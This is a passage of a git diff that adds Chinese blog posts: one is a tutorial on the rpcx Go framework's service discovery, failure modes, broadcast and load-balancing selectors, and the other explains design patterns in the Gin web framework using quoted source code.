cclient.NewZookeeperDiscovery(*basePath, "Arith", []string{*zkAddr}, nil) + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for { + + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + time.Sleep(1e9) + } + +} +``` + +**某个服务实例对客户端无应答案** +Apache ZooKeeper 是 Apache 软件基金会的一个软件项目,他为大型分布式计算提供开源的分布式配置服务、**同步服务**和命名注册。 ZooKeeper 曾经是 Hadoop 的一个子项目,但现在是一个独立的顶级项目。ZooKeeper 的架构通过冗余服务实现高可用性。因此,如果第一次无应答,客户端就可以询问另一台 ZooKeeper 主机。ZooKeeper 节点将它们的数据存储于一个分层的命名空间,非常类似于一个文件系统或一个前缀树结构。客户端可以在节点读写,从而以这种方式拥有一个共享的配置服务。更新是全序的。 + +使用 ZooKeeper 的公司包括 Rackspace、雅虎和 eBay,以及类似于象 Solr 这样的开源企业级搜索系统。 + +ZooKeeper Atomic Broadcast (ZAB)协议是一个类似 Paxos 的协议,但也有所不同。 + +Zookeeper 一个应用场景就是服务发现,这在 Java 生态圈中得到了广泛的应用。Go 也可以使用 Zookeeper,尤其是在和 Java 项目混布的情况。 + +## Etcd + +- Etcd: 通过 etcd 寻找服务。 + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + etcd_client "github.com/rpcxio/rpcx-etcd/client" + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + etcdAddr = flag.String("etcdAddr", "localhost:2379", "etcd address") + basePath = flag.String("base", "/rpcx_test", "prefix path") +) + +func main() { + flag.Parse() + // // 更改服务发现为--客户端发现之--从etcd 发现 + d, _ := etcd_client.NewEtcdDiscovery(*basePath, "Arith", []string{*etcdAddr}, false, nil) + xclient := client.NewXClient("Arith", client.Failover, client.RoundRobin, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Printf("failed to call: %v\n", err) + time.Sleep(5 * time.Second) + continue + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + + time.Sleep(5 * time.Second) + } +} +``` + +## Consul + +- Consul: 通过 consul 寻找服务。 + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + cclient "github.com/rpcxio/rpcx-consul/client" + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + consulAddr = flag.String("consulAddr", "localhost:8500", "consul address") + basePath = flag.String("base", "/rpcx_test", "prefix path") +) + +func main() { + flag.Parse() + // 更改服务发现为--客户端发现之--从consul 发现 + d, _ := cclient.NewConsulDiscovery(*basePath, "Arith", []string{*consulAddr}, nil) + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Printf("ERROR failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + time.Sleep(1e9) + } + +} +``` + +## mDNS + +- mDNS: 通过 mDNS 寻找服务(支持本地服务发现)。 + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + basePath = flag.String("base", "/rpcx_test/Arith", "prefix path") +) + +func main() { + flag.Parse() + // 更改服务发现为--客户端发现之--从mDNS发现 + d, _ := client.NewMDNSDiscovery("Arith", 10*time.Second, 10*time.Second, "") + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + +} +``` + +## In process + +- In process: 在同一进程寻找服务。客户端通过进程调用服务,不走 TCP 或 UDP,方便调试使用。 + +```go +func main() { + flag.Parse() + + s := server.NewServer() + addRegistryPlugin(s) + + s.RegisterName("Arith", new(example.Arith), "") + + go func() { + s.Serve("tcp", *addr) + }() + // 更改服务发现为--客户端发现之--从process中发现 + d := client.NewInprocessDiscovery() + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for i := 0; i < 100; i++ { + + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + + } +} + +func addRegistryPlugin(s *server.Server) { + + r := client.InprocessClient + s.Plugins.Add(r) +} + +``` + +# Part 5 失败模式 + +在分布式架构中, 如 SOA 或者微服务架构,不能担保服务调用如所预想的一样好。有时候服务会宕机、网络被挖断、网络变慢等,所以需要容忍这些状况。 + +rpcx 支持四种调用失败模式,用来处理服务调用失败后的处理逻辑, 可以在创建 XClient 的时候设置它。 + +FailMode 的设置仅仅对同步调用有效(XClient.Call), 异步调用用,这个参数是无意义的。 + +## Failfast + +**直接返回错误** +在这种模式下, 一旦调用一个节点失败, rpcx 立即会返回错误。 注意这个错误不是业务上的 Error, 业务上服务端返回的 Error 应该正常返回给客户端,这里的错误可能是网络错误或者服务异常。 + +```go +package main + +import ( + "context" + "flag" + "log" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr1 = flag.String("addr1", "tcp@localhost:8972", "server1 address") + addr2 = flag.String("addr2", "tcp@localhost:9981", "server2 address") +) + +func main() { + flag.Parse() + + d, _ := client.NewMultipleServersDiscovery([]*client.KVPair{ + {Key: *addr1}, + {Key: *addr2}, + }) + option := client.DefaultOption + option.Retries = 10 + xclient := client.NewXClient("Arith", client.Failfast, client.RandomSelect, d, option) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for i := 0; i < 10; i++ { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Printf("failed to call: %v", err) + } else { + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + } + + } +} +``` + +## Failover + +**选择另外一个节点进行尝试,直到达到最大的尝试次数** + +在这种模式下, rpcx 如果遇到错误,它会尝试调用另外一个节点, 直到服务节点能正常返回信息,或者达到最大的重试次数。 重试测试 Retries 在参数 Option 中设置, 缺省设置为 3。 + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr1 = flag.String("addr1", "tcp@localhost:8972", "server1 address") + addr2 = flag.String("addr2", "tcp@localhost:9981", "server2 address") +) + +func main() { + flag.Parse() + + d, _ := client.NewMultipleServersDiscovery([]*client.KVPair{ + {Key: *addr1}, + {Key: *addr2}, + }) + option := client.DefaultOption + option.Retries = 10 + xclient := client.NewXClient("Arith", client.Failover, client.RandomSelect, d, option) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Printf("failed to call: %v", err) + } else { + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + } + + time.Sleep(time.Second) + } +} +``` + +## Failtry + +**选择该节点进行尝试,直到尝试的次数达到最大。** +在这种模式下, rpcx 如果调用一个节点的服务出现错误, 它也会尝试,但是还是选择这个节点进行重试, 直到节点正常返回数据或者达到最大重试次数。 + +```go +package main + +import ( + "context" + "flag" + "log" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr1 = flag.String("addr1", "tcp@localhost:8972", "server1 address") + addr2 = flag.String("addr2", "tcp@localhost:9981", "server2 address") +) + +func main() { + flag.Parse() + + d, _ := client.NewMultipleServersDiscovery([]*client.KVPair{ + {Key: *addr1}, + {Key: *addr2}, + }) + option := client.DefaultOption + option.Retries = 10 + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, option) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for i := 0; i < 10; i++ { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Printf("failed to call: %v", err) + } else { + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + } + + } +} +``` + +## Failbackup + +**也是选择另外一个节点,只要节点中有一个调用成功,那么就算调用成功。** +在这种模式下, 如果服务节点在一定的时间内不返回结果, rpcx 客户端会发送相同的请求到另外一个节点, 只要这两个节点有一个返回, rpcx 就算调用成功。 + +这个设定的时间配置在 Option.BackupLatency 参数中。 + +```go +package main + +import ( + "context" + "flag" + "log" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr = flag.String("addr", "localhost:8972", "server address") +) + +func main() { + flag.Parse() + + d, _ := client.NewPeer2PeerDiscovery("tcp@"+*addr, "") + xclient := client.NewXClient("Arith", client.Failbackup, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for i := 1; i < 100; i++ { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + } + +} +``` + +# Part 6 Fork + +如果是在 failbackup 模式下,服务节点不能返回结果的时候,将会发送相同请求到另外一个节点,但是在 fork 下,会**向所有的服务节点发送请求** + +```go +func main() { + // ... + + xclient := client.NewXClient("Arith", client.Failover, client.RoundRobin, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for { + reply := &example.Reply{} + err := xclient.Fork(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + time.Sleep(1e9) + } + +} +``` + +# Part 7 广播 broadcast + +Broadcast 是 XClient 的一个方法, 可以将一个请求发送到这个服务的所有节点。 如果所有的节点都正常返回,没有错误的话, Broadcast 将返回其中的一个节点的返回结果。 如果有节点返回错误的话,Broadcast 将返回这些错误信息中的一个。 + +```go +func main() { + //...... + + xclient := client.NewXClient("Arith", client.Failover, client.RoundRobin, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for { + reply := &example.Reply{} + err := xclient.Broadcast(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + time.Sleep(1e9) + } + +} +``` + +# Part 8 路由 + +实际的场景中,我们往往为同一个服务部署多个节点,便于大量并发的访问,节点的集合可能在同一个数据中心,也可能在多个数据中心。 + +客户端该如何选择一个节点呢? rpcx 通过 Selector 来实现路由选择, 它就像一个负载均衡器,帮助选择出一个合适的节点。 +rpcx 提供了多个路由策略算法,可以在创建 XClient 来指定。 +注意,这里的路由是针对 ServicePath 和 ServiceMethod 的路由。 + +## 随机 + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr1 = flag.String("addr1", "tcp@localhost:8972", "server address") + addr2 = flag.String("addr2", "tcp@localhost:8973", "server address") +) + +func main() { + flag.Parse() + + d, _ := client.NewMultipleServersDiscovery([]*client.KVPair{ + {Key: *addr1}, + {Key: *addr2}, + }) + xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for i := 0; i < 10; i++ { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + + time.Sleep(time.Second) + } +} +``` + +## 轮询 + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr1 = flag.String("addr1", "tcp@localhost:8972", "server address") + addr2 = flag.String("addr2", "tcp@localhost:8973", "server address") +) + +func main() { + flag.Parse() + + d, _ := client.NewMultipleServersDiscovery([]*client.KVPair{ + {Key: *addr1}, + {Key: *addr2}, + }) + xclient := client.NewXClient("Arith", client.Failtry, client.RoundRobin, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for i := 0; i < 10; i++ { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + + time.Sleep(time.Second) + } + +} +``` + +## WeightedRoundRobin + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr1 = flag.String("addr1", "tcp@localhost:8972", "server address") + addr2 = flag.String("addr2", "tcp@localhost:8973", "server address") +) + +func main() { + flag.Parse() + + d, _ := client.NewMultipleServersDiscovery([]*client.KVPair{ + {Key: *addr1, Value: "weight=7"}, + {Key: *addr2, Value: "weight=3"}, + }) + xclient := client.NewXClient("Arith", client.Failtry, client.WeightedRoundRobin, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for i := 0; i < 10; i++ { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + + time.Sleep(time.Second) + } + +} +``` + +使用 Nginx 平滑的基于权重的轮询算法。 +比如如果三个节点 a、b、c 的权重是{ 5, 1, 1 }, 这个算法的调用顺序是 { a, a, b, a, c, a, a }, 相比较 { c, b, a, a, a, a, a }, 虽然权重都一样,但是前者更好,不至于在一段时间内将请求都发送给 a。 +上游:平滑加权循环平衡。 +对于像 { 5, 1, 1 } 这样的边缘情况权重,我们现在生成 { a, a, b, a, c, a, a } +序列而不是先前产生的 { c, b, a, a, a, a, a }。 + +算法执行 2 步: + +- 每个节点,用它们的当前值加上它们自己的权重。 +- 选择当前值最大的节点为选中节点,并把它的(只有被选中的节点才会减少)当前值减去所有节点的权重总和。 + +在 { 5, 1, 1 } 权重的情况下,这给出了以下序列 +当前重量的: + +​ 0 0 0(初始状态) + +​ 5 1 1(已选) // -2 1 1 分别加 5 1 1 +​ -2 1 1 + +​ 3 2 2(已选) // -4 2 2 分别加 5 1 1 +​ -4 2 2 + +​ 1 3 3(选择 b) // 1 -4 3 分别加 5 1 1 +​ 1 -4 3 + +​ 6 -3 4(一个选择) // -1 -3 4 分别加 5 1 1 +​ -1 -3 4 + +​ 4 -2 5(选择 c) // 4 -2 -2 分别加 5 1 1 +​ 4 -2 -2 + +​ 9 -1 -1(一个选择) // 2 -1 -1 分别加 5 1 1 +​ 2 -1 -1 + +​ 7 0 0(一个选定的) // +​ 0 0 0 + +```go +package SmoothWeightRoundRobin + +import ( + "strings" +) + +type Node struct { + Name string + Current int + Weight int +} + +// 一次负载均衡的选择 找到最大的节点,把最大的节点减去权重量和 +// 算法的核心是current 记录找到权重最大的节点,这个节点的权重-总权重 +// 然后在这个基础上的切片 他们的状态是 现在的权重状态+最初的权重状态 +func SmoothWeightRoundRobin(nodes []*Node) (best *Node) { + if len(nodes) == 0 { + return nil + } + weightnum := 0 + for k, v := range nodes { + weightnum = weightnum + v.Weight + if k == 0 { + best = v + } + if v.Current > best.Current { + best = v + } + } + for _, v := range nodes { + if strings.Compare(v.Name, best.Name) == 0 { + v.Current = v.Current - weightnum + v.Weight + } else { + v.Current = v.Current + v.Weight + } + } + + return best +} + +``` + +测试函数 + +```go +package SmoothWeightRoundRobin + +import ( + "fmt" + "testing" +) + +func TestSmoothWeight(t *testing.T) { + nodes := []*Node{ + {"a", 0, 5}, + {"b", 0, 1}, + {"c", 0, 1}, + } + for i := 0; i < 7; i++ { + best := SmoothWeightRoundRobin(nodes) + if best != nil { + fmt.Println(best.Name) + } + } + +} + +``` + +## 网络质量优先 + +首先客户端会基于 ping(ICMP)探测各个节点的网络质量,越短的 ping 时间,这个节点的权重也就越高。但是,我们也会保证网络较差的节点也有被调用的机会。 + +假定 t 是 ping 的返回时间, 如果超过 1 秒基本就没有调用机会了: + +weight=191 if t <= 10 +weight=201 -t if 10 < t <=200 +weight=1 if 200 < t < 1000 +weight=0 if t >= 1000 + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr1 = flag.String("addr1", "tcp@localhost:8972", "server address") + addr2 = flag.String("addr2", "tcp@baidu.com:8080", "server address") +) + +func main() { + flag.Parse() + + d, _ := client.NewMultipleServersDiscovery([]*client.KVPair{ + {Key: *addr1}, + {Key: *addr2}, + }) + xclient := client.NewXClient("Arith", client.Failtry, client.WeightedICMP, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for i := 0; i < 10; i++ { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + + time.Sleep(time.Second) + } + +} +``` + +## 一致性哈希 + +使用 JumpConsistentHash 选择节点, 相同的 servicePath, serviceMethod 和 参数会路由到同一个节点上。 JumpConsistentHash 是一个快速计算一致性哈希的算法,但是有一个缺陷是它不能删除节点,如果删除节点,路由就不准确了,所以在节点有变动的时候它会重新计算一致性哈希。 + +```go +package main + +import ( + "context" + "flag" + "log" + "time" + + example "github.com/rpcxio/rpcx-examples" + "github.com/smallnest/rpcx/client" +) + +var ( + addr1 = flag.String("addr1", "tcp@localhost:8972", "server address") + addr2 = flag.String("addr2", "tcp@localhost:8973", "server address") +) + +func main() { + flag.Parse() + + d, _ := client.NewMultipleServersDiscovery([]*client.KVPair{ + {Key: *addr1, Value: ""}, + {Key: *addr2, Value: ""}, + }) + xclient := client.NewXClient("Arith", client.Failtry, client.ConsistentHash, d, client.DefaultOption) + defer xclient.Close() + + args := &example.Args{ + A: 10, + B: 20, + } + + for i := 0; i < 10; i++ { + reply := &example.Reply{} + err := xclient.Call(context.Background(), "Mul", args, reply) + if err != nil { + log.Fatalf("failed to call: %v", err) + } + + log.Printf("%d * %d = %d", args.A, args.B, reply.C) + + time.Sleep(time.Second) + } + +} +``` + +go 实现一致性哈希 +使用 hash 得到对应的服务器进行轮询,它符合以下特点: + +- 单调性 +- 平衡性 +- 分散性 + +```go + +``` + +## 地理位置优先 + +如果我们希望的是客户端会优先选择离它最新的节点, 比如在同一个机房。 如果客户端在北京, 服务在上海和美国硅谷,那么我们优先选择上海的机房。 + +它要求服务在注册的时候要设置它所在的地理经纬度。 + +如果两个服务的节点的经纬度是一样的, rpcx 会随机选择一个。 + +```go +func (c *xClient) ConfigGeoSelector(latitude, longitude float64) +``` + +## 定制路由规则 + +如果上面内置的路由规则不满足的需求,可以参考上面的路由器自定义自己的路由规则。 + +曾经有一个网友提到, 如果调用参数的某个字段的值是特殊的值的话,他们会把请求路由到一个指定的机房。这样的需求就要求自己定义一个路由器,只需实现实现下面的接口: + +```go +type Selector interface { + Select(ctx context.Context, servicePath, serviceMethod string, args interface{}) string + UpdateServer(servers map[string]string) +} +``` diff --git a/_posts/2022-11-09-test-markdown.md b/_posts/2022-11-09-test-markdown.md new file mode 100644 index 000000000000..09dacf248324 --- /dev/null +++ b/_posts/2022-11-09-test-markdown.md @@ -0,0 +1,604 @@ +--- +layout: post +title: Gin 中的设计模式? +subtitle: 设计模式 +tags: [设计模式] +--- + +# Gin 中的设计模式 + +> 项目链接 https://github.com/gin-gonic/gin + +### 1.责任链模式 + +##### Example 1 + +**定义:** + +> https://github.com/gin-gonic/gin/blob/aefae309a4fc197ce5d57cd8391562b6d2a63a95/gin.go#L47 + +```go +// HandlerFunc defines the handler used by gin middleware as return value. +type HandlerFunc func(*Context) + +// HandlersChain defines a HandlerFunc slice. +type HandlersChain []HandlerFunc +``` + +```go +// Engine 是框架的实例,它包含复用器、中间件和配置设置。 +// 通过使用 New() 或 Default() 创建一个 Engine 实例 + +type Engine struct { + RouterGroup + RedirectTrailingSlash bool + RedirectFixedPath bool + HandleMethodNotAllowed bool + ForwardedByClientIP bool + AppEngine bool + UseRawPath bool + RemoveExtraSlash bool + RemoteIPHeaders []string + TrustedPlatform string + MaxMultipartMemory int64 + ContextWithFallback bool + delims render.Delims + secureJSONPrefix string + HTMLRender render.HTMLRender + FuncMap template.FuncMap + allNoRoute HandlersChain + allNoMethod HandlersChain + noRoute HandlersChain + noMethod HandlersChain + pool sync.Pool + trees methodTrees + maxParams uint16 + maxSections uint16 + trustedProxies []string + trustedCIDRs []*net.IPNet +} + +``` + +```go +// Default returns an Engine instance with the Logger and Recovery middleware already attached. +func Default() *Engine { + debugPrintWARNINGDefault() + engine := New() + engine.Use(Logger(), Recovery()) + return engine +} +``` + +```go +func (engine *Engine) Use(middleware ...HandlerFunc) IRoutes { + engine.RouterGroup.Use(middleware...) + engine.rebuild404Handlers() + engine.rebuild405Handlers() + return engine +} +``` + +```go +// Use adds middleware to the group, see example code in GitHub. +func (group *RouterGroup) Use(middleware ...HandlerFunc) IRoutes { + group.Handlers = append(group.Handlers, middleware...) + return group.returnObj() +} +``` + +```go +func (group *RouterGroup) returnObj() IRoutes { + if group.root { + return group.engine + } + return group +} +``` + +### 2.迭代器模式 + +```go +// Routes returns a slice of registered routes, including some useful information, such as: +// the http method, path and the handler name. +func (engine *Engine) Routes() (routes RoutesInfo) { + for _, tree := range engine.trees { + routes = iterate("", tree.method, routes, tree.root) + } + return routes +} + +func iterate(path, method string, routes RoutesInfo, root *node) RoutesInfo { + path += root.path + if len(root.handlers) > 0 { + handlerFunc := root.handlers.Last() + routes = append(routes, RouteInfo{ + Method: method, + Path: path, + Handler: nameOfFunction(handlerFunc), + HandlerFunc: handlerFunc, + }) + } + for _, child := range root.children { + routes = iterate(path, method, routes, child) + } + return routes +} +``` + +### 3.单例模式 + +##### Example 1 + +**定义且初始化:** + +> https://github.com/gin-gonic/gin/blob/master/mode.go + +``` +// DefaultWriter 是 Gin 用于调试输出的默认 io.Writer // 中间件输出,如 Logger() 或 Recovery()。 +var DefaultWriter io.Writer = os.Stdout +``` + +**使用:** + +> https://github.com/gin-gonic/gin/blob/master/logger.go + +```go +// Logger instances a Logger middleware that will write the logs to gin.DefaultWriter. +// By default, gin.DefaultWriter = os.Stdout. +func Logger() HandlerFunc { + return LoggerWithConfig(LoggerConfig{}) +} + +// LoggerWithConfig instance a Logger middleware with config. +func LoggerWithConfig(conf LoggerConfig) HandlerFunc { + formatter := conf.Formatter + if formatter == nil { + formatter = defaultLogFormatter + } + + out := conf.Output + if out == nil { + + //****************************** + out = DefaultWriter + //******************************** + } + + notlogged := conf.SkipPaths + + isTerm := true + + if w, ok := out.(*os.File); !ok || os.Getenv("TERM") == "dumb" || + (!isatty.IsTerminal(w.Fd()) && !isatty.IsCygwinTerminal(w.Fd())) { + isTerm = false + } + + var skip map[string]struct{} + + if length := len(notlogged); length > 0 { + skip = make(map[string]struct{}, length) + + for _, path := range notlogged { + skip[path] = struct{}{} + } + } + + return func(c *Context) { + // Start timer + start := time.Now() + path := c.Request.URL.Path + raw := c.Request.URL.RawQuery + + // Process request + c.Next() + + // Log only when path is not being skipped + if _, ok := skip[path]; !ok { + param := LogFormatterParams{ + Request: c.Request, + isTerm: isTerm, + Keys: c.Keys, + } + + // Stop timer + param.TimeStamp = time.Now() + param.Latency = param.TimeStamp.Sub(start) + + param.ClientIP = c.ClientIP() + param.Method = c.Request.Method + param.StatusCode = c.Writer.Status() + param.ErrorMessage = c.Errors.ByType(ErrorTypePrivate).String() + + param.BodySize = c.Writer.Size() + + if raw != "" { + path = path + "?" + raw + } + + param.Path = path + + fmt.Fprint(out, formatter(param)) + } + } +} +``` + +##### Example 2 + +**定义且初始化:** + +> https://github.com/gin-gonic/gin/blob/master/mode.go + +```go +// DefaultErrorWriter 是 Gin 用来调试错误的默认 io.Writer +var DefaultErrorWriter io.Writer = os.Stderr +``` + +**使用:** + +> https://github.com/gin-gonic/gin/blob/master/recovery.go + +```go +// Recovery returns a middleware that recovers from any panics and writes a 500 if there was one. +func Recovery() HandlerFunc { + return RecoveryWithWriter(DefaultErrorWriter) +} + +// CustomRecovery returns a middleware that recovers from any panics and calls the provided handle func to handle it. +func CustomRecovery(handle RecoveryFunc) HandlerFunc { + return RecoveryWithWriter(DefaultErrorWriter, handle) +} + +// RecoveryWithWriter returns a middleware for a given writer that recovers from any panics and writes a 500 if there was one. +func RecoveryWithWriter(out io.Writer, recovery ...RecoveryFunc) HandlerFunc { + if len(recovery) > 0 { + return CustomRecoveryWithWriter(out, recovery[0]) + } + return CustomRecoveryWithWriter(out, defaultHandleRecovery) +} +``` + +##### Example 3 + +**定义:** + +> https://github.com/gin-gonic/gin/blob/master/mode.go + +```go +var ( + ginMode = debugCode + modeName = DebugMode +) +``` + +**初始化:** + +> https://github.com/gin-gonic/gin/blob/master/mode.go + +```go +// SetMode sets gin mode according to input string. +func SetMode(value string) { + if value == "" { + if flag.Lookup("test.v") != nil { + value = TestMode + } else { + value = DebugMode + } + } + + switch value { + case DebugMode: + ginMode = debugCode + case ReleaseMode: + ginMode = releaseCode + case TestMode: + ginMode = testCode + default: + panic("gin mode unknown: " + value + " (available mode: debug release test)") + } + + modeName = value +} +``` + +**使用:** + +```go +// IsDebugging returns true if the framework is running in debug mode. +// Use SetMode(gin.ReleaseMode) to disable debug mode. +func IsDebugging() bool { + return ginMode == debugCode +} +``` + +##### Example 4 + +**定义且初始化:** + +> https://github.com/gin-gonic/gin/blob/master/internal/json/jsoniter.go + +```go +var ( + // Marshal is exported by gin/json package. + Marshal = json.Marshal + // Unmarshal is exported by gin/json package. + Unmarshal = json.Unmarshal + // MarshalIndent is exported by gin/json package. + MarshalIndent = json.MarshalIndent + // NewDecoder is exported by gin/json package. + NewDecoder = json.NewDecoder + // NewEncoder is exported by gin/json package. + NewEncoder = json.NewEncoder +) +``` + +**使用:** + +> https://github.com/gin-gonic/gin/blob/master/errors.go + +```go +import ( + "fmt" + "reflect" + "strings" + // 在这里导入定义的单例 + "github.com/gin-gonic/gin/internal/json" +) +// Error represents a error's specification. +type Error struct { + Err error + Type ErrorType + Meta any +} + +// MarshalJSON implements the json.Marshaller interface. +func (msg *Error) MarshalJSON() ([]byte, error) { + return json.Marshal(msg.JSON()) +} + +type errorMsgs []*Error + +// MarshalJSON implements the json.Marshaller interface. +func (a errorMsgs) MarshalJSON() ([]byte, error) { + return json.Marshal(a.JSON()) +} +``` + +##### Example 5 + +**定义:**(典型的单例模式,且高并发安全) + +> https://github.com/gin-gonic/gin/blob/master/ginS/gins.go + +```go +package ginS + +import ( + "html/template" + "net/http" + "sync" + "github.com/gin-gonic/gin" +) +var once sync.Once +var internalEngine *gin.Engine +``` + +**初始化:** + +> https://github.com/gin-gonic/gin/blob/master/ginS/gins.go + +```go +// 提供给一个方法供给外界调用,但实际都是得到的同一个变量 +func engine() *gin.Engine { + once.Do(func() { + internalEngine = gin.Default() + }) + return internalEngine +} +``` + +**使用:** + +> https://github.com/gin-gonic/gin/blob/master/ginS/gins.go + +```go +// 在这里不同的函数调用engine()方法,但始终得到的是同一个变量 internalEngine +// LoadHTMLGlob is a wrapper for Engine.LoadHTMLGlob. +func LoadHTMLGlob(pattern string) { + // 本质是调用internalEngine.LoadHTMLGlob(pattern) + engine().LoadHTMLGlob(pattern) +} + +// LoadHTMLFiles is a wrapper for Engine.LoadHTMLFiles. +func LoadHTMLFiles(files ...string) { + // 本质是调用internalEngine.LoadHTMLFiles(files...) + engine().LoadHTMLFiles(files...) +} + +// SetHTMLTemplate is a wrapper for Engine.SetHTMLTemplate. +func SetHTMLTemplate(templ *template.Template) { + // 本质是调用internalEngine.SetHTMLTemplate(templ) + engine().SetHTMLTemplate(templ) +} + +// NoRoute adds handlers for NoRoute. It returns a 404 code by default. +func NoRoute(handlers ...gin.HandlerFunc) { + // 本质是调用internalEngine.NoRoute(handlers...) + engine().NoRoute(handlers...) +} + +// NoMethod is a wrapper for Engine.NoMethod. +func NoMethod(handlers ...gin.HandlerFunc) { + // 本质是调用internalEngine.NoMethod(handlers...) + engine().NoMethod(handlers...) +} + +// Group creates a new router group. You should add all the routes that have common middlewares or the same path prefix. +// For example, all the routes that use a common middleware for authorization could be grouped. +func Group(relativePath string, handlers ...gin.HandlerFunc) *gin.RouterGroup { + // 本质是调用internalEngine.Group(relativePath, handlers...) + return engine().Group(relativePath, handlers...) +} +``` + +### 4.装饰模式 + +##### Example 1 + +**定义:** + +> https://github.com/gin-gonic/gin/blob/master/ginS/gins.go +> +> https://github.com/gin-gonic/gin/blob/master/gin.go + +```go +// LoadHTMLGlob is a wrapper for Engine.LoadHTMLGlob. +// 装饰器 +func LoadHTMLGlob(pattern string) { + engine().LoadHTMLGlob(pattern) +} + +// LoadHTMLGlob loads HTML files identified by glob pattern +// and associates the result with HTML renderer. +// 被装饰器装饰的方法 +func (engine *Engine) LoadHTMLGlob(pattern string) { + left := engine.delims.Left + right := engine.delims.Right + templ := template.Must(template.New("").Delims(left, 